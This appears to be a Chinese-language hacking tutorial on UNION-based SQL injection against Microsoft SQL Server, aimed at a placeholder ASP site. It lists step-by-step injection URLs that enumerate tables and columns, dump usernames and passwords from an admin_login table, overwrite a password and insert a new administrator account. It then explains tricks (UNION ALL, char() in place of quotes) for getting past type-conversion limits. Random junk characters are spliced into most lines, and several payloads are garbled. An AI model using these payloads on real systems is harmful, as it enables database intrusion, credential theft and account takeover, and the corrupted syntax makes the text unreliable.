爆库:# h5 m* d; V2 k) ?
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
; l" X* W# O% J4 u8 S* MSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.6 J% T6 ~/ o0 d. h- U. W4 V! m
爆下一个库:& A6 n& W { v5 K D% S
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
3 s3 h+ }/ V. A
3 `* J3 a3 P: ^6 f) J# e2 Z4 Z: s爆表:
/ F2 Z; p, ~0 ~5 Yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
8 | O* y% t. t& X6 a5 [5 H8 S6 z$ k* M% u8 n. L) _, f. ^
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
# K6 `& c* ]6 N# _7 X
+ J# T8 m4 h' K! d4 `爆下一个表
7 {0 P5 }/ S1 |. Whttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
t9 v/ [. X. j2 Z6 W9 W( [$ @% V1 k5 `( k, ]
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
) v. ^& F$ O) w4 q4 j0 J" u( x, A' _ `9 Y X) ~5 K L( {
! ?: E& f3 O) S( |
/ G g( x% F* [4 _2 i# h爆字段:2 b- F% l) x7 Z# d
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
+ d) s' q- O, O K) w" x
r8 R6 X$ m! S: x# V7 N8 k7 g" R爆下一个字段
( e" ]. g9 H- bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--2 ~( I1 s# @, r8 D- t1 f+ R. I; S
) w" N$ Y& r$ b; a
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--, k& j* H/ h) L
4 r' p! M2 P3 q8 F* `4 Z+ n9 X: o! w; I5 A' V0 k0 n9 z4 m
爆字段里的内容
$ e6 m$ J4 P2 s, N8 m; `5 ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
' i( m$ K/ k4 |5 {: m$ W3 A7 m" R4 k$ |; k# W; E2 v ?
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--# I3 H% C ~6 t0 Z" w; \
2 e% q" ~6 ~5 R
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
) F% u0 r, Z" y* T
( s5 i m+ q& j2 ]3 g$ b0 _http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--; `" K/ k7 a/ C! ]% a. |! d
( C1 d0 L, i! b" e ?1 k' ]
更新字段里的内容
5 o) z) D% g3 U$ z* \/ i g Yhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
7 f, D4 U: `/ s0 {4 ]6 x6 z" T
! N( X& c9 O( V" t& \/ Ahttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--% W! o" N T! j6 O5 c8 b
/ e4 S5 _. Q0 f. G% r+ a, D" v1 a3 K, S, e) i" D2 Q
6 C0 E% ?. ]- i$ k# g) I
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。# H' \6 z' I" z! l I) Y
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
: g; P# H; [8 c. y: _* o 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
) M* h& H4 F* S7 ?# i, u8 T8 A 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
$ c! S: u1 [6 w& D- I
; b6 O8 Q- W1 n) q! I! T/ K9 C" H突了了大部份限制的语句3 _; b) i% O3 D& n* l' I( r# _; N
and 1=2 union all select char(49),char(50),null,null;--
& V+ y% e( U4 K/ n
- K) X/ A3 a- l
8 M+ u, H: l" D7 p: Snull也可以正常执行,不过没有回显,不好判断回显的列数。% r! k% {$ K0 `$ W5 w( U1 H
一般union遇到问题都是有text或者ntext字段,image的很少遇到; P+ c! V3 u* u( m6 H9 n3 _
) w, S" e, m3 v7 {+ v8 n" z
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟7 {4 `5 @& m% ^( e5 ?! d A
8 r% `& q x( v# d$ y8 x
0 e- ~; t5 [( T: {# L( ^" f
|